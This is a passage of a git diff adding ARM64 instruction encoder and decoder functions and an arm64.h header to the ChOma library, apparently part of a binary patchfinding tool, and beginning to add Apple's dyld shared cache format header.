+ mask |= (0x1f << 16); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + + return 0; +} + +int arm64_dec_mov_reg(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut) +{ + if ((inst & 0x7fe0ffe0) != 0x2a0003e0) return -1; + + bool is64 = inst & (1 << 31); + if (destinationRegOut) *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + if (sourceRegOut) *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 16) & 0x1f); + + return 0; +} + +int arm64_gen_add_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + if (ARM64_REG_IS_ANY_VECTOR(sourceReg)) return -1; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + // if both regs are set and have a mismatching width, abort + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + uint32_t inst = 0x11000000; + uint32_t mask = 0x7f800000; + + // if one is set and 32 bit, include 32 bit in mask and set it in inst + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(destinationReg)) << 31); + } + else if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(sourceReg)) << 31); + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= 0x1F; + inst |= (uint32_t)(ARM64_REG_GET_NUM(destinationReg)); + } + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (0x1F << 5); + inst |= ((uint32_t)(ARM64_REG_GET_NUM(destinationReg)) << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm & ~0xFFF) return -1; + mask |= (0xFFF << 10); + inst |= (imm << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_add_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut) +{ + if ((inst & 0x7f800000) != 0x11000000) return -1; + bool is64 = (inst & 0x80000000); + bool shift = (inst & 0x400000); + + if (destinationRegOut) { + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1F); + } + if (sourceRegOut) { + *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 5) & 0x1F); + } + + if (immOut) { + uint16_t imm = ((inst >> 10) & 0xFFF); + if (shift) { + imm = (imm << 12); + } + *immOut = imm; + } + + return 0; +} + +int arm64_gen_sub_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, optional_bool optS, uint32_t *bytesOut, uint32_t *maskOut) { + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + if (ARM64_REG_IS_ANY_VECTOR(sourceReg)) return -1; + + if (!ARM64_REG_IS_ANY(destinationReg) && !ARM64_REG_IS_ANY(sourceReg)) { + // if both regs are set and have a mismatching width, abort + if (ARM64_REG_IS_W(destinationReg) != ARM64_REG_IS_W(sourceReg)) return -1; + } + + uint32_t inst = 0x51000000; + uint32_t mask = 0x7f800000; + if(OPT_BOOL_IS_SET(optS)) { + bool s = OPT_BOOL_GET_VAL(optS); + if(s) { + inst = 0x71000000; + mask |= (1 << 29); + inst |= (1 << 29); + } + } + + // if one is set and 32 bit, include 32 bit in mask and set it in inst + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(destinationReg)) << 31); + } + else if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (1 << 31); + inst |= ((uint32_t)(ARM64_REG_IS_X(sourceReg)) << 31); + } + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= 0x1F; + inst |= (uint32_t)(ARM64_REG_GET_NUM(destinationReg)); + } + if (!ARM64_REG_IS_ANY(sourceReg)) { + mask |= (0x1F << 5); + inst |= ((uint32_t)(ARM64_REG_GET_NUM(destinationReg)) << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm); + if (imm & ~0xFFF) return -1; + mask |= (0xFFF << 10); + inst |= (imm << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_sub_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut, bool *sOut) { + if ((inst & 0x7f800000) != 0x51000000) { + if ((inst & 0x7f800000) != 0x71000000) { + return -1; + } + } + bool is64 = (inst & 0x80000000); + bool isS = (inst & 0x20000000); + bool shift = (inst & 0x400000); + + if (destinationRegOut) { + *destinationRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1F); + } + if (sourceRegOut) { + *sourceRegOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, (inst >> 5) & 0x1F); + } + + if (immOut) { + uint16_t imm = ((inst >> 10) & 0xFFF); + if (shift) { + imm = (imm << 12); + } + *immOut = imm; + } + + if (sOut) { + *sOut = isS; + } + + return 0; +} + +uint8_t arm64_str_ldr_type_width(arm64_register_type registerType, char ldrStrType) +{ + switch (ldrStrType) { + case 'b': return 1; + case 'h': return 2; + default: return arm64_reg_type_get_width(registerType); + } +} + +static int _arm64_gen_str_ldr_imm(uint32_t inst, uint32_t mask, char type, arm64_ldr_str_type instType, arm64_register sourceDestinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(addrReg)) return -1; + + if (!ARM64_REG_IS_ANY(sourceDestinationReg)) { + if (ARM64_REG_IS_ANY_VECTOR(sourceDestinationReg)) { + mask |= (1 << 26); + inst |= (1 << 26); + } + else { + mask |= (1 << 23) | (1 << 26); + //inst |= (0 << 23) | (0 << 26); + + inst |= ARM64_REG_GET_NUM(sourceDestinationReg); + mask |= 0x1f; + + bool isVector = ARM64_REG_IS_VECTOR(sourceDestinationReg); + if (isVector && type != 0) return -1; + mask |= (1 << 23) | (1 << 26) | (0b11 << 30); + inst |= (isVector << 26); + + uint8_t size = 0b00; + + arm64_register_type regType = ARM64_REG_GET_TYPE(sourceDestinationReg); + + if (isVector) { + switch (regType) { + case ARM64_REG_TYPE_Q: + size = 0b00; + inst |= (1 << 23); + break; + case ARM64_REG_TYPE_D: + size = 0b11; + break; + case ARM64_REG_TYPE_S: + size = 0b10; + break; + case ARM64_REG_TYPE_H: + size = 0b01; + break; + case ARM64_REG_TYPE_B: + size = 0b00; + break; + default: + break; + } + } + else { + if (regType == ARM64_REG_TYPE_X) { + size = 0b11; + } + else if (regType == ARM64_REG_TYPE_W) { + size = 0b10; + } + } + inst |= (size << 30); + mask |= (0b11 << 30); + } + } + + if (type != 0) { + mask |= (1 << 23) | (1 << 26); + //inst |= (0 << 23) | (0 << 26); + + uint8_t size = 0b00; + if (type == 'h') { + size = 0b01; + } + else if (type == 'b') { + size = 0b00; + } + + inst &= ~(0b11 << 30); + inst |= (size << 30); + mask |= (0b11 << 30); + } + + if (instType != LDR_STR_TYPE_ANY) { + mask |= (1 << 24); + if (instType == LDR_STR_TYPE_PRE_INDEX || instType == LDR_STR_TYPE_POST_INDEX) { + // Bit 10: Mask out LDUR / STUR + // Bit 11: post index or not? + mask |= (1 << 10) | (1 << 11); + inst |= (1 << 10) | ((instType == LDR_STR_TYPE_PRE_INDEX) << 11); + } + else if(instType == LDR_STR_TYPE_UNSIGNED) { + inst |= (1 << 24); + } + } + + if (!ARM64_REG_IS_ANY(addrReg)) { + if (!ARM64_REG_IS_X(addrReg)) return -1; + inst |= ((uint32_t)(ARM64_REG_GET_NUM(addrReg)) << 5); + mask |= (0x1f << 5); + } + + if (OPT_UINT64_IS_SET(optImm)) { + uint64_t imm = OPT_UINT64_GET_VAL(optImm) / arm64_str_ldr_type_width(ARM64_REG_GET_TYPE(sourceDestinationReg), type); + if (imm & ~0xfff) return -1; + inst |= (imm << 10); + mask |= (0xfff << 10); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +static int _arm64_dec_str_ldr_imm(uint32_t inst, arm64_register *sourceDestinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + bool isVector = inst & (1 << 26); + + bool isUnsigned = inst & (1 << 24); + if (!isUnsigned) { + bool isUnscaled = !(inst & (1 << 10)); + if (isUnscaled) return -1; + } + + uint8_t size = (inst >> 30); + char instructionType = 0; + arm64_register_type registerType = 0; + if (isVector) { + switch (size) { + case 0b00: + if (inst & (1 << 23)) { + registerType = ARM64_REG_TYPE_Q; + } + else { + registerType = ARM64_REG_TYPE_B; + } + break; + case 0b01: + registerType = ARM64_REG_TYPE_H; + break; + case 0b10: + registerType = ARM64_REG_TYPE_S; + break; + case 0b11: + registerType = ARM64_REG_TYPE_D; + } + } + else { + switch (size) { + case 0b00: + registerType = ARM64_REG_TYPE_W; + instructionType = 'b'; + break; + case 0b01: + registerType = ARM64_REG_TYPE_W; + instructionType = 'h'; + break; + case 0b10: + registerType = ARM64_REG_TYPE_W; + break; + case 0b11: + registerType = ARM64_REG_TYPE_X; + break; + } + } + + if (sourceDestinationRegOut) { + *sourceDestinationRegOut = ARM64_REG(registerType, (inst & 0x1f)); + } + + if (typeOut) { + *typeOut = instructionType; + } + + if (addrRegOut) { + *addrRegOut = ARM64_REG_X((inst >> 5) & 0x1f); + } + + if (immOut) { + if (isUnsigned) { + uint64_t imm = ((inst >> 10) & 0xfff) * arm64_str_ldr_type_width(registerType, instructionType); + *immOut = imm; + } + else { + uint64_t imm = ((inst >> 12) & 0x1ff); + *immOut = sxt64(imm, 9); + } + } + + if (instTypeOut) { + if (isUnsigned) { + *instTypeOut = LDR_STR_TYPE_UNSIGNED; + } + else { + bool isPreIndex = inst & (1 << 11); + *instTypeOut = isPreIndex ? LDR_STR_TYPE_PRE_INDEX : LDR_STR_TYPE_POST_INDEX; + } + } + + return 0; +} + +int arm64_gen_ldr_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38400000, 0x3a400000, type, instType, destinationReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_ldr_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3a400000) != 0x38400000) return -1; + return _arm64_dec_str_ldr_imm(inst, destinationRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_ldrs_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38800000, 0x3ac00000, type, instType, destinationReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_ldrs_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3ac00000) != 0x38800000) return -1; + return _arm64_dec_str_ldr_imm(inst, destinationRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_str_imm(char type, arm64_ldr_str_type instType, arm64_register sourceReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + return _arm64_gen_str_ldr_imm(0x38000000, 0x3a400000, type, instType, sourceReg, addrReg, optImm, bytesOut, maskOut); +} + +int arm64_dec_str_imm(uint32_t inst, arm64_register *sourceRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut) +{ + if ((inst & 0x3a400000) != 0x38000000) return -1; + return _arm64_dec_str_ldr_imm(inst, sourceRegOut, addrRegOut, immOut, typeOut, instTypeOut); +} + +int arm64_gen_ldr_lit(arm64_register destinationReg, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(destinationReg)) return -1; + + uint32_t inst = 0x18000000; + uint32_t mask = 0xbf000000; + + if (!ARM64_REG_IS_ANY(destinationReg)) { + mask |= (1 << 30); + inst |= (ARM64_REG_IS_X(destinationReg) << 30); + + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg); + } + + if (OPT_UINT64_IS_SET(optOrigin) && OPT_UINT64_IS_SET(optTarget)) { + uint64_t origin = OPT_UINT64_GET_VAL(optOrigin); + uint64_t target = OPT_UINT64_GET_VAL(optTarget); + mask |= (0x7ffff << 5); + inst |= (((target - origin) / 4) & 0x7ffff) << 5; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + + return 0; +} + +int arm64_dec_ldr_lit(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *destinationReg) +{ + if ((inst & 0xbf000000) != 0x18000000) return -1; + + if (destinationReg) { + *destinationReg = ARM64_REG((inst & (1 << 30)) ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + + if (targetOut) { + uint64_t imm = (inst >> 5) & 0x7ffff; + *targetOut = origin + (sxt64(imm, 19) * 4); + } + + return 0; +} + +int arm64_gen_ldp(arm64_ldp_stp_type instType, arm64_register destinationReg1, arm64_register destinationReg2, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut) +{ + uint32_t inst = 0x28400000; + uint32_t mask = 0x7e400000; + + if (!ARM64_REG_IS_ANY(destinationReg1) && !ARM64_REG_IS_ANY(destinationReg2)) { + if (ARM64_REG_IS_X(destinationReg1) != ARM64_REG_IS_X(destinationReg2)) { + return -1; + } + } + + bool is64 = false; + if (!ARM64_REG_IS_ANY(destinationReg1) || !ARM64_REG_IS_ANY(destinationReg2)) { + if (!ARM64_REG_IS_ANY(destinationReg1)) { + is64 = ARM64_REG_IS_X(destinationReg1); + } + else { + is64 = ARM64_REG_IS_X(destinationReg2); + } + mask |= (1 << 31); + inst |= (is64 << 31); + } + + if (ARM64_REG_IS_ANY(destinationReg1) && ARM64_REG_IS_ANY(destinationReg2) && OPT_UINT64_IS_SET(optImm)) { + return -1; + } + + if (instType != ARM64_LDP_STP_TYPE_ANY) { + mask |= (0b11 << 23); + switch (instType) { + case ARM64_LDP_STP_TYPE_POST_INDEX: + inst |= (0b01 << 23); + break; + case ARM64_LDP_STP_TYPE_PRE_INDEX: + inst |= (0b11 << 23); + break; + case ARM64_LDP_STP_TYPE_SIGNED: + inst |= (0b10 << 23); + break; + default: + break; + } + } + + if (!ARM64_REG_IS_ANY(destinationReg1)) { + mask |= 0x1f; + inst |= ARM64_REG_GET_NUM(destinationReg1); + } + if (!ARM64_REG_IS_ANY(destinationReg2)) { + mask |= 0x1f << 10; + inst |= ARM64_REG_GET_NUM(destinationReg2) << 10; + } + if (!ARM64_REG_IS_ANY(addrReg)) { + mask |= 0x1f << 5; + inst |= ARM64_REG_GET_NUM(addrReg) << 5; + } + if (OPT_UINT64_IS_SET(optImm)) { + mask |= 0b1111111 << 15; + if (is64) { + inst |= OPT_UINT64_GET_VAL(optImm) / 8; + } + else { + inst |= OPT_UINT64_GET_VAL(optImm) / 4; + } + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_gen_cb_n_z(optional_bool isCbnz, arm64_register reg, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + uint32_t inst = 0x34000000; + uint32_t mask = 0x7e000000; + + if (OPT_BOOL_IS_SET(isCbnz)) { + mask |= (1 << 24); + if (OPT_BOOL_GET_VAL(isCbnz)) { + inst |= (1 << 24); + } + } + + if (!ARM64_REG_IS_ANY(reg)) { + mask |= 0x1f | (1 << 31); + inst |= (ARM64_REG_IS_X(reg) << 31); + inst |= ARM64_REG_GET_NUM(reg); + } + + if (OPT_UINT64_IS_SET(optTarget)) { + uint64_t target = OPT_UINT64_GET_VAL(optTarget) / 4; + if (target & ~0x7ffff) { + return -1; + } + mask |= (0x7ffff << 5); + inst |= (target << 5); + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_cb_n_z(uint32_t inst, uint64_t origin, bool *isCbnzOut, arm64_register *regOut, uint64_t *targetOut) +{ + if ((inst & 0x7e000000) != 0x34000000) return -1; + + if (isCbnzOut) { + *isCbnzOut = ((inst >> 24) & 0x1); + } + if (regOut) { + bool is64 = ((inst >> 31) & 0x1); + uint16_t num = inst & 0x1f; + *regOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, num); + } + if (targetOut) { + *targetOut = origin + sxt64(((inst >> 5) & 0x7ffff) * 4, 19); + } + + return 0; +} + +int arm64_gen_tb_n_z(optional_bool isTbnz, arm64_register reg, optional_uint64_t optTarget, optional_uint64_t optBit, uint32_t *bytesOut, uint32_t *maskOut) +{ + if (ARM64_REG_IS_ANY_VECTOR(reg)) return -1; + + uint32_t inst = 0x36000000; + uint32_t mask = 0x7e000000; + + if (OPT_BOOL_IS_SET(isTbnz)) { + mask |= (1 << 25); + inst |= (OPT_BOOL_GET_VAL(isTbnz)) << 25; + } + + if (!ARM64_REG_IS_ANY(reg)) { + mask |= 0x1f | (1 << 31); + inst |= (ARM64_REG_IS_X(reg) << 31); + inst |= ARM64_REG_GET_NUM(reg); + } + + if (OPT_UINT64_IS_SET(optTarget)) { + uint64_t target = OPT_UINT64_GET_VAL(optTarget) / 4; + if (target & ~0x3fff) { + return -1; + } + mask |= (0x3fff << 5); + inst |= (target << 5); + } + + if (OPT_UINT64_IS_SET(optBit)) { + uint64_t bit = OPT_UINT64_GET_VAL(optBit); + if (bit & ~0x1f) return -1; + + bool bitIs64 = (bit & (1 << 5)); + if (!ARM64_REG_IS_ANY(reg)) { + if (ARM64_REG_IS_X(reg) != bitIs64) return -1; + } + + mask |= (1 << 31) | (0xf << 19); + inst |= (bitIs64 << 31) | (bit & 0xf) << 5; + } + + if (bytesOut) *bytesOut = inst; + if (maskOut) *maskOut = mask; + return 0; +} + +int arm64_dec_tb_n_z(uint32_t inst, uint64_t origin, bool *isTbnzOut, arm64_register *regOut, uint64_t *targetOut, uint64_t *bitOut) +{ + if ((inst & 0x7e000000) != 0x36000000) return -1; + + bool is64 = inst & (1 << 31); + + if (isTbnzOut) { + *isTbnzOut = (inst >> 25); + } + + if (regOut) { + *regOut = ARM64_REG(is64 ? ARM64_REG_TYPE_X : ARM64_REG_TYPE_W, inst & 0x1f); + } + + if (targetOut) { + *targetOut = origin + sxt64(((inst >> 5) & 0x3fff) * 4, 14); + } + + if (bitOut) { + *bitOut = (is64 << 5) | ((inst >> 19) & 0xf); + } + + return 0; +} diff --git a/XPF/external/ChOma/src/arm64.h b/XPF/external/ChOma/src/arm64.h new file mode 100644 index 0000000..f4ae7b6 --- /dev/null +++ b/XPF/external/ChOma/src/arm64.h @@ -0,0 +1,111 @@ +#ifndef ARM64_H +#define ARM64_H + +#include "Util.h" + +typedef enum { + // registers + ARM64_REG_TYPE_X, + ARM64_REG_TYPE_W, + + // vector shit + ARM64_REG_TYPE_Q, + ARM64_REG_TYPE_D, + ARM64_REG_TYPE_S, + ARM64_REG_TYPE_H, + ARM64_REG_TYPE_B, +} arm64_register_type; + +enum { + ARM64_REG_MASK_ANY_FLAG = (1 << 0), + ARM64_REG_MASK_X_W = (1 << 1), + ARM64_REG_MASK_VECTOR = (1 << 2), + ARM64_REG_MASK_ALL = (ARM64_REG_MASK_X_W | ARM64_REG_MASK_VECTOR), + + ARM64_REG_MASK_ANY_X_W = (ARM64_REG_MASK_X_W | ARM64_REG_MASK_ANY_FLAG), + ARM64_REG_MASK_ANY_VECTOR = (ARM64_REG_MASK_VECTOR | ARM64_REG_MASK_ANY_FLAG), + ARM64_REG_MASK_ANY_ALL = (ARM64_REG_MASK_ALL | ARM64_REG_MASK_ANY_FLAG), +}; + +typedef enum { + LDR_STR_TYPE_ANY, // NOTE: "ANY" will inevitably also match STUR and LDUR instructions + LDR_STR_TYPE_POST_INDEX, + LDR_STR_TYPE_PRE_INDEX, + LDR_STR_TYPE_UNSIGNED, +} arm64_ldr_str_type; + +typedef enum { + ARM64_LDP_STP_TYPE_ANY, + ARM64_LDP_STP_TYPE_POST_INDEX, + ARM64_LDP_STP_TYPE_PRE_INDEX, + ARM64_LDP_STP_TYPE_SIGNED, +} arm64_ldp_stp_type; + +typedef struct s_arm64_register { + uint8_t mask; + arm64_register_type type; + uint8_t num; +} arm64_register; + +#define ARM64_REG(type_, num_) (arm64_register){.mask = ARM64_REG_MASK_ALL, .type = type_, .num = num_} +#define ARM64_REG_X(x) ARM64_REG(ARM64_REG_TYPE_X, x) +#define ARM64_REG_W(x) ARM64_REG(ARM64_REG_TYPE_W, x) +#define ARM64_REG_Q(x) ARM64_REG(ARM64_REG_TYPE_Q, x) +#define ARM64_REG_S(x) ARM64_REG(ARM64_REG_TYPE_S, x) +#define ARM64_REG_H(x) ARM64_REG(ARM64_REG_TYPE_H, x) +#define ARM64_REG_B(x) ARM64_REG(ARM64_REG_TYPE_B, x) +#define ARM64_REG_ANY (arm64_register){.mask = ARM64_REG_MASK_ANY_ALL, .type = 0, .num = 0} +#define ARM64_REG_ANY_X_W (arm64_register){.mask = ARM64_REG_MASK_ANY_X_W, .type = 0, .num = 0} +#define ARM64_REG_ANY_VECTOR (arm64_register){.mask = ARM64_REG_MASK_ANY_VECTOR, .type = 0, .num = 0} +#define ARM64_REG_GET_TYPE(x) (x.type) +#define ARM64_REG_IS_X(x) (x.type == ARM64_REG_TYPE_X) +#define ARM64_REG_IS_W(x) (x.type == ARM64_REG_TYPE_W) +#define ARM64_REG_IS_VECTOR(x) (x.type == ARM64_REG_TYPE_Q || x.type == ARM64_REG_TYPE_D || x.type == ARM64_REG_TYPE_S || x.type == ARM64_REG_TYPE_H || x.type == ARM64_REG_TYPE_B) +#define ARM64_REG_GET_NUM(x) (x.num & 0x1f) +#define ARM64_REG_IS_ANY(x) (x.mask == ARM64_REG_MASK_ANY_ALL) +#define ARM64_REG_IS_ANY_X_W(x) (x.mask == ARM64_REG_MASK_ANY_X_W) +#define ARM64_REG_IS_ANY_VECTOR(x) (x.mask == ARM64_REG_MASK_ANY_VECTOR) +uint8_t arm64_reg_type_get_width(arm64_register_type type); +const char *arm64_reg_type_get_string(arm64_register_type type); +const char *arm64_reg_get_type_string(arm64_register reg); + +#define ARM64_REG_NUM_SP 31 +#define ARM64_REG_NUM_ZR 31 + +typedef struct s_arm64_cond { + bool isSet; + uint8_t value; +} arm64_cond; +#define ARM64_COND(x) (arm64_cond){.isSet = true, .value = x} +#define ARM64_COND_ANY (arm64_cond){.isSet = false, .value = 0} +#define ARM64_COND_GET_VAL(x) (x.value & 0xf) +#define ARM64_COND_IS_SET(x) x.isSet + +int arm64_gen_b_l(optional_bool optIsBl, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_b_l(uint32_t inst, uint64_t origin, uint64_t *targetOut, bool *isBlOut); +int arm64_gen_b_c_cond(optional_bool optIsBc, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_cond optCond, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_b_c_cond(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_cond *condOut, bool *isBcOut); +int arm64_gen_adr_p(optional_bool optIsAdrp, optional_uint64_t optOrigin, optional_uint64_t optTarget, arm64_register reg, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_adr_p(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *registerOut, bool *isAdrpOut); +int arm64_gen_mov_imm(char type, arm64_register destinationReg, optional_uint64_t optImm, optional_uint64_t optShift, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_mov_imm(uint32_t inst, arm64_register *destinationRegOut, uint64_t *immOut, uint64_t *shiftOut, char *typeOut); +int arm64_gen_mov_reg(arm64_register destinationReg, arm64_register sourceReg, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_mov_reg(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut); +int arm64_gen_add_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_add_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut); +int arm64_gen_sub_imm(arm64_register destinationReg, arm64_register sourceReg, optional_uint64_t optImm, optional_bool optS, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_sub_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *sourceRegOut, uint16_t *immOut, bool *sOut); +int arm64_gen_ldr_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldr_imm(uint32_t inst, arm64_register *destinationReg, arm64_register *addrReg, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_ldrs_imm(char type, arm64_ldr_str_type instType, arm64_register destinationReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldrs_imm(uint32_t inst, arm64_register *destinationRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_str_imm(char type, arm64_ldr_str_type instType, arm64_register sourceReg, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_str_imm(uint32_t inst, arm64_register *sourceRegOut, arm64_register *addrRegOut, uint64_t *immOut, char *typeOut, arm64_ldr_str_type *instTypeOut); +int arm64_gen_ldr_lit(arm64_register destinationReg, optional_uint64_t optOrigin, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_ldr_lit(uint32_t inst, uint64_t origin, uint64_t *targetOut, arm64_register *destinationReg); +int arm64_gen_ldp(arm64_ldp_stp_type instType, arm64_register destinationReg1, arm64_register destinationReg2, arm64_register addrReg, optional_uint64_t optImm, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_gen_cb_n_z(optional_bool isCbnz, arm64_register reg, optional_uint64_t optTarget, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_cb_n_z(uint32_t inst, uint64_t origin, bool *isCbnzOut, arm64_register *regOut, uint64_t *targetOut); +int arm64_gen_tb_n_z(optional_bool isTbnz, arm64_register reg, optional_uint64_t optTarget, optional_uint64_t optBit, uint32_t *bytesOut, uint32_t *maskOut); +int arm64_dec_tb_n_z(uint32_t inst, uint64_t origin, bool *isTbnzOut, arm64_register *regOut, uint64_t *targetOut, uint64_t *bitOut); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/dyld_cache_format.h b/XPF/external/ChOma/src/dyld_cache_format.h new file mode 100644 index 0000000..c26ed9a --- /dev/null +++ b/XPF/external/ChOma/src/dyld_cache_format.h @@ -0,0 +1,624 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2006-2015 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef __DYLD_CACHE_FORMAT__ +#define __DYLD_CACHE_FORMAT__ + +#include + +#include "fixup-chains.h" + + +struct dyld_cache_header +{ + char magic[16]; // e.g. "dyld_v0 i386" + uint32_t mappingOffset; // file offset to first dyld_cache_mapping_info + uint32_t mappingCount; // number of dyld_cache_mapping_info entries + uint32_t imagesOffsetOld; // UNUSED: moved to imagesOffset to prevent older dsc_extarctors from crashing + uint32_t imagesCountOld; // UNUSED: moved to imagesCount to prevent older dsc_extarctors from crashing + uint64_t dyldBaseAddress; // base address of dyld when cache was built + uint64_t codeSignatureOffset; // file offset of code signature blob + uint64_t codeSignatureSize; // size of code signature blob (zero means to end of file) + uint64_t slideInfoOffsetUnused; // unused. Used to be file offset of kernel slid info + uint64_t slideInfoSizeUnused; // unused. Used to be size of kernel slid info + uint64_t localSymbolsOffset; // file offset of where local symbols are stored + uint64_t localSymbolsSize; // size of local symbols information + uint8_t uuid[16]; // unique value for each shared cache file + uint64_t 